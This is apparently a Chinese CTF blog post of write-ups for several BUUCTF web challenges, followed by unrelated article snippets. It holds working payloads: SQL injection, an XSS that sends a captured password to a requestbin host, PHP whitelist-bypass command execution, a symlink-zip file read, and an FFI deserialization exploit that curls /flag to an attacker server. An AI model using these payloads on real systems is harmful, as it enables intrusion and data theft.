buu刷题(第一周)

news2024/12/25 2:36:26

目录

[DDCTF 2019]homebrew event loop

action:trigger_event%23;action:buy;5%23action:get_flag;

[CISCN2019 华东南赛区]Web4

[RootersCTF2019]babyWeb

[GWCTF 2019]mypassword 

 [NESTCTF 2019]Love Math 2

[BSidesCF 2019]Pick Tac Toe

[RootersCTF2019]ImgXweb

 [SWPU2019]Web3

[RCTF 2019]Nextphp

FFI是什么


<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
//生成一串32位的随机数,转换为16进制
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__

create_function直接执行,里面是有eval

https://www.cnblogs.com/-chenxs/p/11459374.html

所以需要让create_function的函数名()引用一下来执行,下面的是不可能爆破成功了,然后create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_[0-999]我们可以爆破

import requests
for i in range(0,1000):
    payload="http://d815e336-d9b3-49c7-a28c-0ba34ba92c8f.node4.buuoj.cn:81/?func_name=%00lambda_{}".format(i)
    res=requests.get(url=payload)
    if(res.status_code==200):
        print(res.text)

[DDCTF 2019]homebrew event loop

这里简单说一下我在哪卡住的

我当时就想的是里面只会有一个值,也就是我们传入的

action:trigger_event%23;action:buy;5%23action:get_flag;

然后不就只可以循环一次吗,然后看见都需要先调用trigger_event

先写一下我们经过execute_event_loop()一些值得变化

action:  tigger_event#

args :   ["action:buy;5",["action:get_flag;"]]

 event_handler: tigger_event#_handler    #注释掉了后面    最后为   

就是 tigger_event(args)里面是两个数组

然后

request.event_queue= ["action:buy;5","action:get_flag;"]

这样这里就会0 1都有值可以循环二次,

 action:  buy

args :   ["action:buy;5",["action:get_flag;"]]  5

 event_handler: buy_handler

buy_handler(5)

最后一次调用

 action:  get_flag

args :  空

 event_handler: get_flag()

就是这样最后获得flag

然后为什么说可以直接调用5呢,因为这里是就是我们的钱无论够不够,它都会给我们先加上,然后扣掉

action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23

[CISCN2019 华东南赛区]Web4

初始一个界面点开后就有链接

通过观察url可以试一下任意文件读取漏洞

 发现可以读取源码,显示nosponse,呃呃呃当时这卡住了

应该换种角度思考,当时只是一味的读index.php如何审计,读取当前进程执行命令/proc/self/cmdline应该看一下进程

这种就以前见过,一个框架然后读取进程

import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())#获取mac地址
app.config['SECRET_KEY'] = str(random.random()*233)#生成随机密钥    
app.debug = True#赋值

@app.route('/')  #路由选择
def index():
    session['username'] = 'www-data'  #普通用户
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)#获取指定url的网址信息
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':#这是我们的目标
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

很简单,获取网卡地址然后生成密钥,伪造session为fuck 

 这里需要转化为十进制

这里就是python2和python3的版本区别,可以都试一下,该题 版本是python2

[RootersCTF2019]babyWeb

打开界面发现过滤了 ‘ “ union or 说明大概率是数字型注入。 

然后试一下1 || 1=1 limit 0,1直接出了flag

因为union的缘故,想到了报错注入,

1^updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)    users

获得列名,因为禁用了引号,所以users用16进制

1^updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),0x7e),1)    

发现显示的不全,第一种可以去掉group_concat,然后table_name=0x7573657273 limit 4,1 来截取

第二种,mid

1^updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),40,20),0x7e),1)    

 1^updatexml(1,concat(0x7e,(select group_concat(uniqueid) from users limit 0,1),0x7e),1)    

 XPATH syntax error: '~837461526918364526,123456789928'  然后查询获得flag

或者sqlmap一把梭

[GWCTF 2019]mypassword 

打开界面是一个登陆界面,然后打算用admin注册发现,该用户已经被注册

当时想了一下是不是要伪造admin用户呢

然后随机注册了一个用户,看一下功能FeedBack的源码

if(is_array($feedback)){
				echo "<script>alert('反馈不合法');</script>";
				return false;
			}
			$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
			foreach ($blacklist as $val) {
		        while(true){
		            if(stripos($feedback,$val) !== false){
		                $feedback = str_ireplace($val,"",$feedback);
		            }else{
		                break;
		            }
		        }
		    }

 单纯从过滤的字符来看这道题,八成是一个xss然后,是把过滤的替换为空这个过滤很好绕过,只需要 inhostput拼接就可以了。

然后试一下能不能弹出

<scriphostt>alert(1)</scriphostt>发现可以弹出来。

呃呃呃呃思路到这里没了,只能去偷偷翻wp

最后发现少了点重要信息,在一开始未登陆的源码

if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');//分割cookie进行遍历
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];//获取元素的值
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}

很简单这里是给我我们的提示,我们需要用同样的步骤获取值,然后显示出来就行

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/rlrk8drl/?a="+psw;
</scrcookieipt>

 RequestBin - 1oluqhy1这里是通过buu的一个平台可以接受请求,然后把接受的命令显示出来,也就是a=


 [NESTCTF 2019]Love Math 2

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 60) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

大体思路通过数学符号然后构成一个命令执行,最后执行eval.

一个通用的方法就是用白名单和数字进行异或

<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($whitelist);$k++){
    for($i=0;$i<9;$i++){
        for($j=0;$j<=9;$j++){
            $exp=$whitelist[$k] ^ $i. $j;
            echo ($whitelist[$k]."^$i$j"."=====>$exp");
            echo"<br />";

        }
    }
}

我们只需要找出_GET的构造就可以了,如何{}可以代替【】,

is_nan^64=====>_G

rand^75=====>ET

?c=$pi=(is_nan^(6).(4)).(rand^(7).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=ls%20/

我们要实现的其实是

?c=$pi=(_GET);$pi=$_GET;$_GET{0}($_GET{1})&0=system&1=ls%20/

[BSidesCF 2019]Pick Tac Toe

打开界面,感觉是只要自己连成一条一直即可获得flag,但根本赢不了  查看源码,发现每个格子对应着一个id,只需要move=id名字,就可以改掉及时该格子已被使用。

[RootersCTF2019]ImgXweb

点开界面是一个登陆的界面,首先注册了admin发现该用户已经存在,然后感觉是伪造admin用户

看了一下cookie发现是jwt可以解码,这时候就是如何获取密钥

diresearch发现了robots.txt,--》获得密钥

 

发现flag加载不出来,用了curl方法返回响应

 

 [SWPU2019]Web3

打开界面之后,发现直接登陆admin admin直接登陆成功,如何看见了uplaod的选项 

但是提示权限不够,直接查看源码

Permission denied!
<script type="text/javascript"> 
onload=function(){ 
setInterval(go, 1000); 
}; 
var x=3;
function go(){ 
x--; 
if(x>0){ 
document.getElementById("sp").innerHTML=x;
}else{ 
location.href='/'; 
} 
} 
</script>

当时的思路是绕过x>0,然后一秒转到根目录了,但是实在想不到怎么绕过了。

接着看了一下cookie,解码得到 

b'{"id":{" b":"MTAw"},"is_login":true,"password":"admin","username":"admin"}'

        解码b:100

到这里想了一下,明明是admin用户了,说明后台检验是否是管理员用户用的id字段,这点是看别的师傅wp出来的,我到这里真的没想到,把b改为1,这里的true必须是大写T,不然报错,血的教训。

然后文件上传会显示源码,

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()#进行md5     
        name = session['password']//对应本次的是密码
        name = name+'qweqweqwe'//adminqweqweqwe
        name = name.encode(encoding='utf-8')//字符utf-8加密
        m.update(name)
        md5_one= m.hexdigest()   //name也就是password的md5加密
        n = hashlib.md5()
        ip = request.remote_addr //ip地址
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()

        f=request.files['file'] #接收前端发的文件
        basepath=os.path.dirname(os.path.realpath(__file__)) #找出真实的位置
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename  #获取文件名
        pathname = path+filename   #路径  +  文件名
        if "zip" != filename.split('.')[-1]:    #这里需要是zip文件
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)  #建立文件
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:  #文件中不能存在 |  ;
                waf()
                return 'error'
            os.system(cmd)  #这里有个命令执行
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')


@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"
-->

这里的关键就是,

@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

但if是不可能成立的,但是这里给出了flag.jpg的路径,./flag/flag.jpg,这里必须使用zip上传,就用到了软链接的思路。

1.在 linux 中,/proc/self/cwd/会指向进程的当前目录,在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问 flag.jpg。
2.ln -s是Linux的软连接命令,其类似与windows的快捷方式。比如ln -s /etc/passwd shawroot 这会出现一个名为shawroot的文件,其内容为/etc/passwd的内容。

 ln -s /proc/self/cwd/flag/flag.jpg JYcxk

zip -ry root.zip JYcxk

-r:将指定的目录下的所有子目录以及文件一起处理

-y:直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效。
 

上传压缩包,burp抓包即可获得flag

[RCTF 2019]Nextphp

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

 直接system没响应,八成被禁用了。

 绕过disable_function,这道题的考点是FFI命令执行

可以用FFI的指定文件是preload.php,所以我们需要查看一下源码。 

 ?a=var_dump(file_get_contents(%27/var/www/html/preload.php%27));

得到如下源码 


<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);

        //ret=print_r(1)
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);//结合数组
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}
"

FFI是什么

FFI是php7.4 版本出的一个扩展,总结而言,就是php中可以调用c语言中写的库

?a=var_dump(file_get_contents(%27/var/www/html/preload.php%27));

简单的来说,系统会先执行 __serialize>serialize ,__unserialize>unserialize

 所以如果我们想要执行后者,必须注释掉前者。

    <?php    
    final class A implements Serializable {
        protected $data = [
            'ret' => null,
            'func' => 'FFI::cdef',
            'arg' => 'int system(char *command);'
        ];
    
        private function run () {
            echo "run<br>";
            $this->data['ret'] = $this->data['func']($this->data['arg']);
        }
    
        public function serialize (): string {
            return serialize($this->data);
        }
    
        public function unserialize($payload) {
            $this->data = unserialize($payload);
            $this->run();
        }
    
        public function __get ($key) {
            return $this->data[$key];
        }
    
        public function __set ($key, $value) {
            throw new \Exception('No implemented');
        }
    
    
    }
    
    $a = new A();
    echo base64_encode(serialize($a)); // 即payload
?a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'))->__serialize()['ret']->system('curl -d @/flag 服务器 IP:7777 ');

第二种方法就是,直接在页面上输出

a=unserialize(urldecode('C%3A1%3A%22A%22%3A89%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A9%3A%22FFI%3A%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A26%3A%22int+system%28char+%2Acommand%29%3B%22%3B%7D%7D'))->__serialize()['ret']->system('ls > /var/www/html/1.txt'); 

 因为这道题限制了目录,所以我们把结果存在根目录的1.txt里面,最后获得flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/380648.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023 年网络安全漏洞的主要原因

​  网络安全漏洞已经并将继续成为企业面临的主要问题。因此&#xff0c;对于企业领导者来说&#xff0c;了解这些违规行为的原因至关重要&#xff0c;这样他们才能更好地保护他们的数据。 在这篇博文中&#xff0c;我们将概述 2023 年比较普遍的网络安全漏洞的主要原因。 云…

OpenCV4.x图像处理实例-道路车辆检测(基于背景消减法)

通过背景消减进行道路车辆检测 文章目录 通过背景消减进行道路车辆检测1、车辆检测思路介绍2、BackgroundSubtractorMOG23、车辆检测实现在本文中,将介绍如何使用简单但有效的背景-前景减法方法执行车辆检测等任务。本文将使用 OpenCV 中使用背景-前景减法和轮廓检测,以及如何…

这篇教你搞定Android内存优化分析总结

一、内存优化概念1.1 为什么要做内存优化&#xff1f;内存优化一直是一个很重要但却缺乏关注的点&#xff0c;内存作为程序运行最重要的资源之一&#xff0c;需要运行过程中做到合理的资源分配与回收&#xff0c;不合理的内存占用轻则使得用户应用程序运行卡顿、ANR、黑屏&…

QT之OpenGL帧缓冲

QT之OpenGL帧缓冲1. 概述1.1 帧缓冲的创建与删除1.2 帧缓冲的数据来源1.2.1 数据源与帧缓冲的关系1.2.2 纹理Attachment1.2.3 渲染缓冲对象Attachment1.2.4 两者的区别1.2.5 关于两者的使用场景2. Demo3. 后期处理4. 参考1. 概述 OpenGL管线的最终渲染目的地被称作帧缓冲(fram…

【代码随想录训练营】【Day28】第七章|回溯算法|93.复原IP地址|78.子集|90.子集II

复原IP地址 题目详细&#xff1a;LeetCode.93 这道题与上一道练习题分割回文字符串十分详细&#xff0c;一样是涉及到分割字符串、判断字符串、递归与回溯的问题&#xff0c;所以这道题要解决的难点在于&#xff1a; 如何分割IP地址字符串如何判断分割的IP地址是否合法递归的…

Kafka基本概念

什么是Kafka Kafka是一个消息系统。它可以集中收集生产者的消息&#xff0c;并由消费者按需获取。在Kafka中&#xff0c;也将消息称为日志(log)。 一个系统&#xff0c;若仅有一类或者少量的消息&#xff0c;可直接进行发送和接收。 随着业务量日益复杂&#xff0c;消息的种类…

2.单例模式

基本概念 单例模式&#xff1a;保证一个类只有一个实例&#xff0c;并提供一个访问该实例的全局访问点 常见应用场景 读取配置文件的类一般设计为单例模式网站计数器应用程序的日志应用&#xff0c;因为共享日志文件一直处于打开状态&#xff0c;只能有一个实例去操作Spring…

新C++(11):unordered_map\set的封装

"假如可以让音乐停下来"一、unordered_map\unordered_set简介在C98中&#xff0c;STL底层提供了以红黑树封装的关联式容器map\set&#xff0c;其查询效率可以达到LogN(以2为底)。而在C11中&#xff0c;STL又提供了unordered(无序)容器&#xff0c;其使用方式与map\se…

企业对不同形态CRM系统价格需求不同

很多企业在选型时关心CRM客户管理系统的价格&#xff0c;有人对CRM的价格完全没有概念&#xff0c;也有的人先问价格再看其他。CRM价格在系统选型中到底有多重要&#xff1f;不同类型CRM系统的价格是否有所不同&#xff1f; CRM的不同产品形态也会影响价格 通常情况下&#x…

十五、MyBatis使用PageHelper

1.limit分页 limit分页原理 mysql的limit后面两个数字&#xff1a; 第一个数字&#xff1a;startIndex&#xff08;起始下标。下标从0开始。&#xff09; 第二个数字&#xff1a;pageSize&#xff08;每页显示的记录条数&#xff09; 假设已知页码pageNum&#xff0c;还有每页…

移动端笔记

目录 一、移动端基础 二、视口 三、二倍图/多倍图 四、移动端开发 &#xff08;一&#xff09;开发选择 &#xff08;二&#xff09;常见布局 &#xff08;三&#xff09;移动端技术解决方案 五、移动WEB开发之flex布局 六、移动WEB开发之rem适配布局 #END&#xff08…

嘀嗒出行再闯IPO:千军万马我无懈

羽扇纶巾笑谈间&#xff0c;千军万马我无懈。 在激烈竞争中再度冲刺港交所IPO的嘀嗒出行&#xff0c;闪露出一丝歌词里的气魄。交通运输部下属网约车监管信息交互系统的数据显示&#xff0c;截至2023年1月31日&#xff0c;全国共有300家网约车平台公司取得网约车平台经营许可。…

如何使用COM-Hunter检测持久化COM劫持漏洞

关于COM-Hunter COM- Hunter是一款针对持久化COM劫持漏洞的安全检测工具&#xff0c;该工具基于C#语言开发&#xff0c;可以帮助广大研究人员通过持久化COM劫持技术来检测目标应用程序的安全性。 关于COM劫持 微软在Windows 3.11中引入了(Component Object Model, COM)&…

2月第4周榜单丨飞瓜数据B站UP主排行榜(哔哩哔哩平台)发布!

飞瓜轻数发布2023年2月20日-2月26日飞瓜数据UP主排行榜&#xff08;B站平台&#xff09;&#xff0c;通过充电数、涨粉数、成长指数三个维度来体现UP主账号成长的情况&#xff0c;为用户提供B站号综合价值的数据参考&#xff0c;根据UP主成长情况用户能够快速找到运营能力强的B…

基频估计算法简介

基频估计算法 F0 estimate methods 估计F0的方法可以分为三类:基于时域、基于频域、或混合方法。本文详细介绍了这些方法。 所有的算法都包含如下三个主要步骤&#xff1a; 1.预处理&#xff1a;滤波&#xff0c;加窗分帧等 2.搜寻&#xff1a;可能的基频值F0&#xff08;候选…

chatgpt到底颠覆了什么 第二部分

以第二个理由就是两个字&#xff0c;垄断。 现在谈到范式转变&#xff0c;如果首先谈的还是算法&#xff0c;那说明还没有透彻理解范式改变范式改变&#xff0c;首先要改的是什么。是什么&#xff1f;是参赛资格。 过去我相信大企业大团队聚拢了许多聪明的脑袋&#xff0c;但我…

基于神经网络补偿的主动悬架自适应控制

目录 前言 1. 1/4悬架模型 2.仿真分析 2.1仿真模型 2.2仿真结果 2.1 形① 2.2 形② 3. 总结 前言 上两篇博客我们介绍了神经网络补偿控制律的仿真测试&#xff0c;从仿真结果我们可以得知神经网络具有逼近扰动&#xff0c;并将其补偿的作用。 上两篇文章链接&#xf…

在nestjs中进行typeorm cli迁移(migration)的配置

在nestjs中进行typeorm cli迁移(migration)的配置 在学习nestjs过程中发现typeorm的迁移配置十分麻烦,似乎许多方法都是旧版本的配置&#xff0c;无法直接使用. 花了挺长时间总算解决了这个配置问题. db.config.ts 先创建db.config.ts, 该文件export了两个对象&#xff0c;其…

AcWing算法提高课-3.1.2信使

宣传一下算法提高课整理 <— CSDN个人主页&#xff1a;更好的阅读体验 <— 题目传送门点这里 题目描述 战争时期&#xff0c;前线有 nnn 个哨所&#xff0c;每个哨所可能会与其他若干个哨所之间有通信联系。 信使负责在哨所之间传递信息&#xff0c;当然&#xff0c;…

CPU 偏高,和linux常用命令

CPU 偏高&#xff0c;和linux常用命令一、1、常用命令2、top 查看整体的cpu占有率&#xff08;哪个进程cpu占用过高&#xff09;3、top -Hp 8779 查看该pid 下哪个进程占用过高4、打印dump日志 重点关注&#xff08;RUNNABLE、BLOCKED&#xff09;一、 1、常用命令 整机 top …